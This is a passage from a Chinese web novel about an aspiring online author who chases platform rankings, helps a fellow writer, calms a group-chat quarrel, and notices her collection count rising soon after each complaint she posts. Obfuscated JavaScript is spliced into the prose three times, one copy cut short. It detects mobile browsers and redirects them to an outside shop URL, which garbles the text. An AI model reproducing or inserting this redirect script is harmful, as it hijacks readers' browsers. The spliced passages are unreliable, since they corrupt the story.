檀檀也没法向奶奶保证今晚一定能早睡，只含糊地应了声：“我尽量！” 注意力又落回了屏幕上。 首次上好榜的体验，对檀檀来说就两个字：上瘾！ 这里还有个冷知识：想上编推榜，字数必须在十万字以内。 而檀檀的书已写到九万字，和刚满三万的“幼苗”相比，已算“高龄”。 所以檀檀认为，《她权倾天下之后》可谓天选之女。 既然幸运降临，便要对得起这份殊荣。最近她几乎笔耕不辍，一连熬了三个大夜。 她的文案经过高人指点、反复修改后，前三章的点击量持续增加。可许多读者看完前三章就停了下来，后续数据断崖式下跌。 评论也少得可怜。 檀檀的困扰也随之升级：读者们到底是在“养肥”她的书，还是因为前三章写得不好看？ 可眼下她正被榜单字数追着赶，根本抽不出时间回头修文。 作者群之前安利过一个叫“鸽学家APP”的工具，又是围绕普江衍生出的产业链，能帮作者查询各个榜单的涨幅数据，几乎成了“作者必备”。 檀檀查过自己的，涨幅排在末尾，简直是榜单之耻。 现下距离下编辑推荐榜只剩最后一天了。 这一夜，她熬到凌晨一点，甚至能听到隔壁房间爷爷的打鼾声。 直到奶奶起身，在门外低低咳了两声，檀檀才终于关灯躺下。 却也睡不安稳。 睡前得复盘：新章发布时间是不是“三的倍数”？蹭上玄学了吗？作者后台的读者评论都回完了吗？ ——檀檀警告自己，不许再思考和书有关的东西了。干脆打开大地瓜APP，戴上耳机，刷起几个古风男模的短视频。 给那首“哎哟小情郎你莫愁，此生只为你挽红袖~”贡献了至少二十遍播放量后，她才昏昏沉沉地睡过去。 连梦里，都逃不开书里的情节。 她的大女主正领兵攻打敌国，红缨女将、矫矫英姿，作为一军主将，她身先士卒冲在最前，身后的骑兵阵营铁蹄踏地，戈矛如林，眼看便能直捣敌军中军，却不知从哪竟窜出一辆坦克，炮口对准了她的大女主—— 檀檀直接气醒了！ 抓过手机一看，半夜三点。作者群里依旧聊得火热，兔仔已经喜提今日“龙王”称号，正和水盛酒讨论着半夜的热搜。 对哦，今天是8月5日，普江盛典的日子。 水盛酒丢进来一张管三的微博截图。 配文是：“普江盛典之夜，估计很多女生会羡慕我这个座位~” 照片里，管三和一个身穿西装、高鼻薄唇、眉眼深邃的男人并肩站在……垃圾桶旁边。 檀檀还以为自己仍在梦里，定睛一看，确实是垃圾桶旁边。 管三今天这身打扮，颇有种“文能校勘书错漏，武可镇压小蠹虫”的江湖大佬气质。他身旁那位，西装料子挺括，肩线利落平直，下颌线干净利落，没什么多余的表情，却愈发惹眼。 檀檀一眼就认出来了。 顾己卿么这不是。 顾己卿并没有看镜头。 他微微侧着脸，视线垂落在斜前方的空处，像在注视什么，又像什么都没真正入眼。场馆顶灯落下的光，被他高挺的鼻梁截出一道利落的阴影，清疏俊朗，玉质清癯。 热闹是管三的，镜头是旁人的。 他只负责存在。 檀檀看得入神。 她不禁感慨：这张辨识度极高的脸啊！要是顾己卿也去大地瓜开个号唱唱歌，自己常刷的那位模子哥，恐怕真要“禅让”了。 …… 唔，那倒也不必，檀檀再重申一次：不是说顾己卿卖脸蛋的意思，他只要此生驻死在普江，只要普江不倒闭，他往后数八辈子都够衣食无忧了。 衣食无忧啊。 多么实在的四个字。 显然，兔仔也把人认了出来： [卿神竟然真的去普江盛典了？！这脸这气质……是真实存在的吗？] 咕噜咕噜紧跟其后： [哈哈哈，管三真是骚包啊！还特意单独发一条和卿神的合影！] 水盛酒则用更书面的词语形容： [卿神本人，不就是咱们女频文里写的那种吗——矜贵天成，丰神秀逸。] 檀檀其实不太同意这个说法。 矜贵哪里是天成的？好看的人，都是被细致妥帖地养出来的，浑身上下寻不到半点粗粝的痕迹。 不过……看在他评论区许愿确实灵的份上，檀檀还是在群里配合地跟了一句： [卿神，是真好看啊~] * 次日醒来，打开手机，檀檀发现聊天列表里有个惹眼的水獭头像在闪烁。 栖川？ 居然主动私聊她了。 点开一看，对方发来一条链接。檀檀顺手打开，是篇攻略帖：《网文如何安排剧情节奏？》 檀檀回道：[怎么啦？你也卡文了？] 她顺手点进栖川的作者专栏，看了眼他那本《夺臣妻》 真是个小可怜，预收收藏才两个。檀檀随手给他点了一个。 再看文案，写得实在简短，寥寥几句，像是为了凑时间临时填上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084116|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 作为“过来人”，檀檀顿时生出几分“前辈”的责任感，很乐意指点他两句。 不过，不看不知道，细看吓一跳。 檀檀赶紧截图过去： [你这本书是预收，怎么开了个树坑？这显示是“连载中”啊。] 栖川显然犯了新手常有的错误：在创建作品时，分不清“直接添加章节”和“全文存稿、仅曝光文案”的区别。前者会直接进入连载状态，后者才是正确的预收操作。如果选错，等正式开文时，就会错过开文第21至80天才能上的“八仙榜”。 [如果暂时不发布章节，一定要选“不曝光文案”才行！] 半晌后，栖川回复道： [原来如此，我好像确实操作错了。] [我该怎么补救呢？] 檀檀一挑眉，手指飞快地敲出一串“指导”： [签约后不能直接删文，不过你收藏还低，可以先锁定，以后改成小短篇就行。] [重新开一个预收吧，这次记得勾“仅曝光文案”。] [然后，记得去大地瓜找推文号推预收。] 这次栖川的回复倒挺快： [推预收？] 檀檀觉得他真是笨得有点可爱。 [别怕挨骂呀，骂也得推，小作者没得选。不然就是“三无开局”。] [三无开局是什么？] [就是像你现在这样：没有作者收藏、没有作品收藏、也没有新晋榜单曝光。] …… 咦？ 檀檀突然反应过来——栖川的专栏里只有这一本书，还一章都没发，他是怎么过签的？ 这是他的马甲号？ “马甲号”指的是作者在主账号之外，用同一身份证注册的其他作者账号，本质上是作者的“小号”。每个签约作者最多可以绑定五个晋江账号，其中四个是作者号，一个是读者号。 这倒不稀奇。檀檀自己也打算以后开个马甲。 没在这件事上多纠结，她继续给栖川“上课”： [你推预收，人家会说：“怎么零字就端上来了”。] [连载字数少，人家会说：“怎么还是个宝宝就端上来了”，甚至会批评你：懂不懂道上的规矩。] [连载字数多，人家会说：“完结求踢”。] [反正不来看，气死你。] [那完结了呢？] [完结了，有的直接去找夸古浏览器。就等着盗文吧！] [什么是夸古浏览器？我只听说过夸克。] [夸克因为放盗文被普江告倒了，后来他儿子跑了，又搞了个“夸古”。懂了吧？] 晨光透过玻璃，在木地板上投出一片斜长干净的光域。 栖川看着屏幕，忽然低低笑了一声。笑意从眼底漫上来。 最后，他回复了一串省略号： [……你好懂这些。] 檀檀在屏幕这边也笑了。 [其实是我编的。] 聊天框里，他最后留下一句： [谢谢你。] 檀檀也因为帮到了人，心里轻快： [没事，以后有什么不懂的，尽管问我！] 10.营养液 编辑推荐榜虽然没有给檀檀带来幻想中的百收，却也实打实地涨了三十多个收藏。 每次刷新后台，看着缓慢爬升的数字，她心里都会涌起一种奇异的踏实感。 像在茫茫大海上划着一叶小舟，虽然看不见岸，但至少知道自己还在前行，没有沉没。 又到一周放榜日，《她权倾天下之后》这次算是“稳扎稳打”地爬上了“红字”。 “红字”是频道内“分类推荐”的一种形式，也算是个不错的曝光位。通常，在红字上表现良好的书，接下来就有机会晋升“红图”，再往后是“星秀作品”，最终迈向入V。 就像蝴蝶破茧，得一层层经历锤炼。 上了红字之后，檀檀心态轻松了不少。同期榜单上另外两位也写大女主的作者，文案都不如她的抓人。 靠这点“同行衬托”，她的书刚上榜就又涨了两个收藏。 总算是走上了正轨，这些天檀檀在群里越发活跃，不是帮这个看文案，就是给那个出主意。 她发现自己居然很享受这种“过来人”的角色，把踩过的坑、悟出的道理一点点告诉别人，就像在给曾经的自己递一把伞。 8月5日之后的周末，正逢中元节。 每年这时候，奶奶家照例要给已故的亲人烧纸祭奠。檀檀妈妈一早来了电话，说和爸爸已经在开车回来的路上了。电话那头还能听见导航“前方路口右转”的机械女声。 小表妹一家到得更早，提了一箱牛奶、一箱水果。趁姑姑在厨房帮奶奶择菜的工夫，妹妹一闪身就钻进了檀檀的卧室。 檀檀的笔记本大咧咧摊在桌上，普江文学城那抹熟悉的绿油油后台界面赫然亮着。这回连否认的余地都没了，表妹一眼就瞅见，立刻叫起来：“好啊姐！你果然在写小说！” 对表妹这个年纪来说，“写网文”这职业新鲜得很。 “我们班那语文课代表上次写作文，立志以后要考中文系，当大作家呢。” 檀檀已经替那小姑娘脚趾抠地了。 好在她自己的文案已经改过，收藏数也不至于太难看，只好摸摸鼻子，老实承认了。 即便如此，檀檀还是没打算让表妹真的去看《她权倾天下之后》 毕竟……往后写到女主和几位男主大婚的戏码时，车速一快，万一被小姑娘瞧见，她这个当姐姐的脸可真要臊死了。 “其实姐，你真不用遮遮掩掩的。”表妹一副“我懂”的表情，掏出自己的手机，“我还能给你浇营养液呢。” 表妹说着就点开自己的后台页面——嚯！营养液还有280瓶！ 话音刚落，她就给檀檀浇了1瓶。 檀檀拧了她一把：“抠死你算了，就给我1瓶？” 抢过妹妹的手机，高高举起来，檀檀用口型威胁道：“小心我跟你老妈说你到底充了多少钱。” 妹妹这就有些怕了，吐吐舌头，谄媚笑道：“姐，你不懂，平时普江的充值活动，我是不参加的。充100送1块。不参加也不心疼。” “但这次不一样，突然送大把营养液，我趁着周年庆活动囤了好多书，换来的营养液得留给我最喜欢的书，还有我‘收养’的小作者！” “哟，还学人家收养小作者呢，怎么不收养收养你亲姐啊？” 在普江，读者们对营养液的流向颇有讲究，不少人在挑书时甚至会参考营养液与收藏数的比例。圈里流传着一种说法：营养液多于收藏的书，通常不会太差。 毕竟读者每订阅满三十万字，系统会自动赠送营养液，作者的书能得，读者也能得。 不少读者愿意主动为心仪的作品浇灌。 反之，如果营养液远少于收藏，那往往意味着：很多人点了收藏，却压根没读下去。 表妹对自己的营养液规划得明明白白，其中整整两百瓶，都是留给《镜司志异》的。 “看来你是真喜欢这本书啊。你到底是喜欢顾己卿的脸，还是喜欢书的内容？” “那当然是内容！”表妹眼睛一亮，“等你看完就知道写得有多精彩了！” 《镜司志异》目前高居言情频道收藏榜首，总收藏数360万。 是三百六十万啊！ 平时那些能被推文夸得天花乱坠的书，也不过几万到二三十万的收藏。 更吓人的是，《镜司志异》被灌溉的营养液竟有九百万瓶，都是读者一票一票真心实意投出来的。 “好作品肯定是不会被埋没滴！” 表妹凑到檀檀的耳边：“姐，苟富贵，勿相忘。等你以后出名了，能不能参加活动的时候带我见见顾大？” “还顾大呢，”檀檀抬手轻推她额头，“我这儿还顾二呢！” “我们班上一半的同学都追过《镜司志异》，个个都盼着顾大开新书。这下我可算有人脉咯，好姐姐，你一定得帮我这个忙，好不好嘛……” 耐不住表妹软磨硬泡，檀檀嘴上当然是答应了。 可低头看看自己那点可怜的收藏数……这承诺根本是天方夜谭。 更让檀檀来气的还在后头，檀檀在表妹的书架里，发现有个分类叫“难看”，而《她权倾天下之后》赫然在列。 “哎呀哎呀，你别掐我……”表妹躲闪着说了实话，“上回我刷到一条推文，看到在推你这本，文案看起来还挺有意思的，结果去搜，发现早就收藏过了。点开看了几章，不是我的菜，又怕下次再刷到，就干脆丢进这个收藏夹里了。” “又不是只有你一本，好多推文诈骗来的书，我都塞这里边。” …… 檀檀心里咯噔一下。 自己那些收藏里……该不会也有不少是被这样“存”起来的吧？追读一直上不去，难道就是因为很多读者顺手把她丢进了某个叫“难看”的角落？ 不行不行！ 看来光文案写得好确实不够，是得尽快腾出手来，好好改改前三章了。 * 妈妈和爸爸是下午到的，给奶奶和爷爷提了不少保健品，给妹妹带了身新衣裳，还给檀檀捎了个肩颈按摩仪。 吃过晚饭，暮云沉落时，天擦了层灰蓝的暗。一家八口人便浩浩荡荡往小区外的孤桥头走去。 河风卷着草木气息，拂过三三两两烧纸的人影。 爷爷蹲身，先用一截白粉笔在地上画开个圈，留出的豁口朝着老家的方向，说是怕故去的亲人找不着路。 黄纸、金箔银箔被火苗舔着，怕烧不透，奶奶捏着根细竹棍轻轻拨弄。 檀檀望着纸灰打着旋儿从火中飘起，细白、轻软，飘向夜空，融进天边疏淡星子。 她的思绪也跟着飘到了书里。 她的大女主，设定是无父无母的孤儿。对——下一章就写女主给至亲烧纸钱。 檀檀立刻凑过去采集素材：“奶奶，您现在是什么心情？” 奶奶抬头，莫名堂地瞧她一眼，“给我娘送钱，让她别省着花，想买啥就买啥的心情！” 另一边，爷爷也在自己的圈前低声念叨：“爹，天快凉了，记得添件厚衣裳。和老伙计们聚着，也别亏了自个儿。” 妈妈爸爸和姑姑姑父站在稍远处，在走神中。 等到给太爷爷辈烧完纸，长辈们退后几步，他们才走上前去。 还要给一个人烧——檀檀的“小叔”。 爷爷奶奶其实生了三个孩子：檀檀的爸爸是长子，姑姑排第二，下面还有个小儿子，可惜小时候得了脑膜炎，没能留住。 奶奶眼眶有些发酸，但做长辈的不便亲自烧纸，便由檀檀的爸爸蹲下身，默默点燃了黄纸。 火光跃动，映着一家人的沉默。 烧完纸，一家人又整整齐齐地往回走。檀檀望着身前身后的至亲，心里被一种沉实的暖意填满。 只是走着走着，她忽然生出个念头：得挣更多更多的钱。这样既能一直陪在奶奶身边，也不会再因为缺钱，面对疾病时只剩无力。 * 有父母在家，檀檀不敢放肆地码字到太晚。毕竟在他们眼里，“写小说”多少有点不务正业。甚至在她爸爸看来，“网文作者”和“无业游民”小异大同。 在没有拿出实实在在的收入之前，檀檀很少跟父母讨论这件事。 零点时分，檀檀躺在被窝里刷手机。红字榜的涨幅实在有限，她的收藏数停在107个。出门烧纸前是这个数，回来之后一个也没变。 她顺手在群里嚎了一嗓子： [红字怎么这么凉？许愿涨一个收藏！] 发完就点开鸽学家APP查了榜单上的数据，刚刷新完，收藏真的跳到了108。 檀檀立刻切回群里，补了一句： [我去！还愿！真的涨了！] 私聊里，又是栖川发来的消息。 [檀檀，你还没休息吗？]35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086568|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没等她回复，一条链接就跟着分享过来：《浅谈给读者期待感的几个小技巧》。 最近几天，檀檀和栖川的聊天渐渐频繁起来。这人时不时就会发来一些攻略帖，比如： 《蘸水干货：如何提升文笔》 《浅谈如何让人物鲜活》 《感情线与剧情线如何兼顾》 檀檀猜，栖川大概是焦虑得不行，才会到处搜罗这些文章，自己看完后，又顺手分享给她。 于是她劝他： [又在刷攻略？其实你全文存稿，不用太焦虑啦。我听一些前辈说，新人最好先埋头写完一本，完结后再系统复盘，那样进步更明显。] 栖川的回复却只是另一条攻略贴：《三个小技巧让小说写出“电影感” 》 …… 这人真犟。 * 次日，檀檀又忙活起来，红字榜涨幅乏力，她琢磨着再去找找推文。 在咸鱼干APP上翻找时，她忽然注意到一个标价格外高的推文服务，号称“包涨20收”。 保底涨收藏？ 这就是传说中的刷子吧？ 真正刷数据的刷子在平台上当然不会明着打广告，而是用各种话术包装。 只是这个“包涨”…… 实在是，有些心动。 鬼使神差地，她的手指悬在了“我想要”那个按钮上方。 试一试，就试一试？ 那一瞬间，檀檀心跳确实快了一拍。 但仅仅是一拍。 她立刻按灭了屏幕：“不行，不能买。” 真作者，才不靠刷子活着！ 假的数据就像掺了水的酒，闻着再香，入口就知道是假的。 虚假繁荣罢了。 为了浇灭心头那点侥幸的痒，檀檀干脆点开了普江的违规处罚公示区，一条条翻下去。 那些被挂出来的书名、笔名，连同刷数据的截图一起示众，评论里满是嘲讽与指责。她强迫自己想象：如果有一天，《她权倾天下之后》也这样被挂在上面，被人指着说“看，这就是那个刷子”…… 只这么一想，心口就又酸又疼。 檀檀关掉页面，深深吸了口气。 “好好写，一步一个脚印地走。”她对自己说，“哪怕走得慢，也是走在自己的路上。” 她要她的收藏，都是实打实得来的！ …… 当然了，家里人不算。 这念头突然让檀檀心里七上八下的。 大不了……她让爷爷也看看自己的书，受受大女主的熏陶！ 晚饭后，她磨磨蹭蹭到爷爷身边时，爷爷正戴着老花镜看电视。 “爷爷，我最近写了故事……你要不要看看前三章？” 电视里婆婆磋磨儿媳妇、儿媳妇反击恶婆婆的苦情戏正进展到激烈地方，爷爷摆摆手，表示没兴趣。 檀檀只好又去找奶奶。 “奶奶，我写的故事里，女主角特别厉害，会带兵打仗，还会治国谋略呢！” 奶奶的关注点很清奇：“那她嫁人了没？” “还没呢，不过目前有三个人都喜欢她！” “啊，有三个老公啊！了不起，了不起！” “哼。” 爷爷突然从鼻子里重重挤出一声，手里的遥控器“啪”地按下了静音。 “乱七八糟。” 奶奶非要跟爷爷对着干，反倒来了兴致，“你懂什么，现在年轻人都爱看这个。”她转头催檀檀，“放出来听听！” 檀檀索性点开普江文学城的APP，找到那个简陋的“听书”功能，选中第一章，按下了播放键。 扬声器里传出的声音，瞬间把客厅拽进了某个低成本恐怖片的片场。 毫无感情的AI女声，每个字都像用尺子量过一样规整，却偏偏在断句上随心所欲：“她/站在城楼上/风吹起/她染血的/衣袂。” 停顿处诡异得如同新手司机开手动挡。 一耸一耸，让人心梗。 更可怕的是语气。明明是女主目睹敌军压境、生死一线的紧张场面，AI的语调却平静得像在播报天气预报，该激昂时蔫了，该沉重时飘了，情绪和文本完美错位。 奶奶起初还努力想听清内容，听了半分钟后，表情从期待变成了困惑。 可见，普江的听书功能做得实在拉胯。 11.每抱怨一次 其实听书功能还挺重要的。像檀檀从前上班时，通勤路上、做家务的碎片时间，都会听书。 目前，其他几大阅读平台的听书功能已经做得相当完善，而普江在这方面远远落后。长此以往，确实流失了不少习惯听书的读者。 檀檀甚至觉得，如果普江能好好优化听书功能，自己作品的曝光度说不定还能再高一些，收藏也能涨得更多！ * 一天天过去，时间快得抓不住。 写作助手APP是普江文学城专为小作者开发的码字工具。檀檀打开它，“日更一万”的贴纸在飞速旋转。 其实，光是能看见这个贴纸，就已经超过很多作者了。因为它意味着：你正拥有着宝贵的榜单曝光，你的作品正被系统推送到读者眼前。 正因为如此，檀檀格外珍惜这几周。 “红字”榜的流量加成，配合着檀檀新找的几波推文，让收藏数开始以每天近十个的速度零散增长。 红字榜周期结束那天，檀檀的收藏停在了188个。凭借这个成绩，她顺利晋级到了曝光效果更好的“红图”榜。 “红图”榜不仅展示书名，还会展示书籍封面，曝光效果更直观。恰好此时，檀檀找那位画师定制的人设图也发来了。 红衣女主，飒爽英姿，是独属于《她权倾天下之后》的骨血。 独一无二，天下无双。 檀檀迫不及待地换上那张价值500块的“亲女儿”，对着后台欣赏了半天，不得不说—— 好像……和美工们用通用人设素材拼出来的封面，也没有不一样嘛！ 祛魅了，祛魅了。 檀檀接着为之后的路发愁：古言频道普遍的入V门槛，是300个有效收藏。 假如在红图上不能涨120个收藏，大概率下一个“星秀作品”或“佳作推荐”的好榜就和她无缘了。 不能上好榜，意味着这本书在入V之前，很可能被发配到那些“毒榜”上，在无人问津的角落里耗尽字数。 她坐在电脑前，无意识地吃完了一整包辣条，指尖都染上了红油，心里还空落落的。看来，推文还得更努力才行！ 可最近在大地瓜APP上发的推文，往往点赞数刚破百，就被人以“违规引流”为由举报，接着被平台限流甚至删除。 刚遇到这种事时，檀檀只觉得刚找到的出路被人硬生生堵死，心里又堵又闷。但经历的次数多了，竟也渐渐麻木起来。 如今每条推文发出去，她几乎都在等着那位不知躲在何处的“举报者”上门，静待对方出手前，这条帖子能为自己换来几个收藏罢了。 有时候，刷到别人那些点赞破万的爆款推文，檀檀真是眼馋。 都不会被举报吗？ 怎么存活下来的？ 就不能……让她也大爆一次吗？！ 不贪心，只要帖子能有一千个赞，她就心满意足了！ 当然，五千也行。 想到这儿，檀檀立刻又点开《镜司志异》，在评论区投了一个100点的鱼雷，并虔诚许愿：“卿神在上，赐信女一条千赞爆帖吧。” 她闭上眼，脑海里已经浮现出收藏疯涨的美妙画面。然而，这幻想还没持续几秒，就被手机接连的振动打断了。 是群聊中的骂战。 【普江作者交流6群（200）】 就在几分钟前，大家还在正常讨论某个榜单的规则变动。 梅子青刚分享完自己的心得，语气里带着点过来人的感慨，顺口提了一句：[当初能零杀过签，现在想想真是运气好，没走什么弯路。]后面跟了个捂脸笑的表情，语气里带着点不好意思的庆幸。 谁也没料到，那个顶着灰色简笔画头像、几乎从不冒泡的ID“雪落无声”，突然插了一句： [零杀过签，你就知道炫耀零杀过签，除了这，你也拿不出别的成绩了。] 没加表情，冷冰冰地挂在屏幕上。 群里瞬间安静了。 梅子青那个“捂脸笑”的表情还悬在对话框上方，像被按了暂停键，显得突兀又尴尬。隔着屏幕都能想象她愣住的样子。 几秒后，梅子青的一行字才跳出来：[好好说话，别阴阳怪气。] 雪落无声没停：[阴阳在哪？怪气在哪？进群这么久，开口闭口就是零杀过签，书呢？数据呢？榜单呢？除了那点运气，还有啥可说的？] 梅子青的字打得很慢：[我没有炫耀，只是分享经验。] [经验？]对方秒回，[零杀过签算什么经验？群里谁没过签？不就是赶上了编辑手松，捡漏了吗？还真把自己当天赋选手了。] 群里没人敢接话。往常飞速刷屏的界面，此刻像被冻住的湖面，死寂一片。 隔了好一会儿，兔仔和水盛酒分别给檀檀发来私聊。 兔仔：[好尴尬。] 水盛酒：[檀檀，咱们可别掺和，当没看见，免得当出头鸟挨骂。] 檀檀心里确实有些讶异。虽说梅子青那种“零杀过签”的庆幸感流露得久了，看多了难免让人有点不爽，私下里嘀咕几句也算正常。 但她没想到，会有人把这份介意直接摔到台面上。 生硬而尖锐的方式像一把小锤，“咔”地一声，敲碎了群里的和气。 仿佛平时其乐融融的群关系是假象。 这个作者群，是檀檀在漫长又孤独的码字生涯里，难得能喘口气、说点真心话的“净土”。 她还不想“净土”就这么轻易碎掉。 檀檀盯着屏幕，指尖在键盘上顿了两秒，没急着站队，反而先点开表情栏，扒拉半天，选了个顶着乱蓬蓬头发、抱着键盘一脸生无可恋的熊猫头，丢进群里。 【普江作者交流6群（200）】 檀檀：[全体目光向我看齐！] [刚才我溜去《镜司志异》底下许愿，想给平淡的剧情找点冲突，没想到回来一看，愿望居然在群里实现了！] [@梅子青你那“零杀过签”的辉煌战绩，就好比新手村出门就爆了把神装，嘚瑟一下怎么了？换我我能吹三年！但咱也得理解一下我等凡人的心情——好比还在村口被史莱姆反复摩擦呢，你搁那儿晒神装，这谁看了不眼红啊？] [还有@雪落无声，姐妹，潜水潜得快成深海古迹了，一冒头就放大招，是平时不屑加入我们这种“菜鸡互啄”的话题吗？哼！] 群里静了半秒，比刚才的死寂多了点微妙的骚动。 兔仔先配合着丢出一张表情包，私聊光速弹过来：[老大，你这是在施展什么新型尴尬缓解术……] 檀檀自己也觉得刚发出去的话有点尬，但箭已离弦，干脆破罐子破摔，继续敲： [真要比起惨和凡，不如集火我！] [我，檀檀，普江古言频道著名（自封）扑街代表。] [最高战绩：38收勇闯鞭腿榜，至今仍是群里经久不衰的梗。] [除了“38收”这个黑历史，以及一颗被数据反复摩擦到麻木却假装坚强的心，我还有啥？我还有脸在这儿劝架！（理直气壮.jpg）] 水盛酒：[@檀檀，你闭嘴吧……我脚趾已经抠出三室一厅了。] 檀檀接着发： [所以，二位，消消气。] [有这吵架的功夫，不如一起来嘲笑我的数据] [或者，发发善心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109600|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮我祈祷下次推文别又被举报] [咱们的敌人是冰冷的数据、玄学的流量、还有那些总爱举报的小人！可不是彼此啊喂！] 屏幕安静了几秒。 雪落无声： [檀檀，你赢了。] 梅子青： [突然觉得，跟你这“38收传奇”比起来，我的成就好像……也没那么耀眼了。] 梅子青： [@雪落无声，抱歉，可能我确实有点……飘了。] 雪落无声： [……我也语气冲了。主要最近心态有点崩。] 梅子青： [理解。要不，咱们一起“关爱”一下@檀檀的数据？（狗头）] 雪落无声： [可以。@檀檀，今天3000字写完了吗？没写？那你怎么还好意思在这儿当和事佬？（微笑）] 檀檀没再接话，直接往群里丢了个红包。 有她这个红包打头阵，抢到“手气最佳”的成员也跟着发起红包来。梅子青随后发了个大的，雪落无声仿佛较上了劲，竟发了个更大的。 红包雨刷刷落下，伴着“谢谢老板”的表情包刷屏，方才那点紧绷的气氛很快被冲得无影无踪。群聊里又重新热闹起来，恢复了往日那种插科打诨、互相调侃的其乐融融。 檀檀这才长舒一口气，她的“快乐老家”，算是守住了。 见群里恢复了往日画风，她便随手丢进去一句： [涨个收吧。] [许愿睡一觉醒来，就会多一个收藏。] 消息发出去不过两分钟，她随手刷新了一下后台。 188 → 189 檀檀眨了眨眼，凑近屏幕，几乎以为自己看花了。 真的……涨了一个。 * 这场景已经不是第一次出现了。 檀檀又试了一次。半小时后，她再次在群里哀嚎：[收藏又不动了，红图榜是假的吧！] 发送时间：14:37。 她放下手机，去倒了杯水，心不在焉地刷了会儿短视频。约莫十分钟后，她点开后台—— 189 → 190 截图时间：14:47。 檀檀愣了两秒，随即被一股幼稚的欣喜击中。她立刻打开文档，文思泉涌般补了一章更新，检查错字，修改文案，在微博同步了一条更新通知，动作行云流水。 晚上临睡前，她又没忍住，在群里发了个哭脸：[今天结束了，收藏定格在190，心碎。] 发送时间：23:15。 刷牙洗脸，关灯躺下，闭眼前习惯性刷新—— 190 → 191 时间：23:24。 一次是巧合，两次是幸运，第三次……就有点不对劲了。 檀檀盯着那两个紧紧相邻的时间戳，一个荒诞又清晰的念头冒了出来：她一在群里抱怨收藏，十分钟左右，收藏就会涨一个。 这已经不能用“巧合”或“玄学”来轻描淡写地解释了。 第二天，檀檀决定做个实验。 上午十点，她发：[一上午了，收藏跟焊死了一样。] 10:09 → 10:19，+1 中午十二点，她发：[吃个饭回来，收藏居然没偷偷涨？好想涨收藏啊！] 12:07 → 12:16，+1 下午三点、五点、晚上八点……她像个设定好程序的闹钟，准时在群里播报收藏停滞的噩耗。 每一次，间隔大约十分钟，后台那个数字就会老老实实地往上跳一格。 整整一天，她嚎了十一次。 收藏，从191，稳稳地跳到了202。 给檀檀整笑了。 12.真实读者 这事儿透着股诡异的劲儿。 檀檀不是没怀疑过群里的姐妹在暗中帮忙。 她先私聊了几个关系最铁的。兔仔很快甩出一张收藏截图，回道：[被你发现了？早八百年上鞭腿榜时遇到你，我就给你点过了……我可是你的真实读者啊檀檀！] 水盛酒则说：[给你点收藏是违规的，我不会给你点。但檀檀，你要相信，你就是天选。] 白碧溪回道：[老师，是想要收藏吗？我可以拿小号帮你。] 檀檀赶紧回：[嘘！撤回] 她皱着眉，又琢磨开了。会不会是平台的自动推送？或者是某个路人刚好刷到，赶巧了？ 她决定做几个更刁钻的实验。 第一回合：只在群里抱怨收藏，不做任何其他操作，比如更新、推文。 结果：十分钟后，收藏+1。 第二回合，默默更新新章节，绝不在群里提及收藏。 结果：两小时内，收藏纹丝不动。 第三回合，在群里讨论剧情、分享零食链接、甚至发红包。 结果：收藏无变化。 接着，檀檀换了阵地测试。 她溜进一个不常说话的作者大群，憋了半天，发了句一模一样的哀嚎：[收藏焊死了！谁来救救我！] 盯着后台，眼睛都不敢眨。十分钟，二十分钟，半小时过去了，收藏数字死死钉在215，半点没动。 她又跑回自己的小群，原封不动再发一遍。 10点03发的消息，10点13刷新，215→216。 檀檀：“……” 合着还认地盘？ 檀檀故意在群里说反话：[今天收藏涨得好快啊，我好烦，能不能别涨了！] 群里的人都以为她疯了。 水盛酒：[檀檀你是不是数据好得飘了？我建议你去看看脑子。] 雪落无声：[+1。] 檀檀没理她们，掐着时间等。十分钟一到，她闭着眼刷新后台—— 216→217！ 涨了。 还涨了！ 檀檀惊得差点从椅子上滑下去。 离谱。 太离谱了。 她瘫在椅子上——从190到现在，整整二十多次的精准上涨，每次都卡在她哀嚎后的十分钟左右，换话术不行，换阵地不行，反向操作也不行，只有在作者群抱怨收藏，才管用。 她把所有可能性都列出来，又一个个划掉。 最后，只剩下一个荒诞到离谱，却又能完美解释所有现象的结论。 檀檀自己都被逗笑了。 这平台系统，是不是有自己的意识啊？ 不然怎么解释，偏偏是她，偏偏是在她抱怨的时候，偏偏是十分钟之内，不多不少，就涨一个收藏。 既不张扬，又透着点小心翼翼的讨好。 像什么呢？ 像暗恋一个人的时候，不敢明目张胆地示好，只能借着无人察觉的机会，偷偷给她塞一颗糖。 檀檀越想越觉得这个念头靠谱，嘴角的笑意压都压不住。 她对着电脑屏幕，一本正经地发了个鞠躬的表情： “行吧，系统大人。我知道是你了。” “下次涨收藏能不能大方点？十个八个的来，别抠抠搜搜只涨一个。” “放心，我会努力码字，争取不让你失望的。” 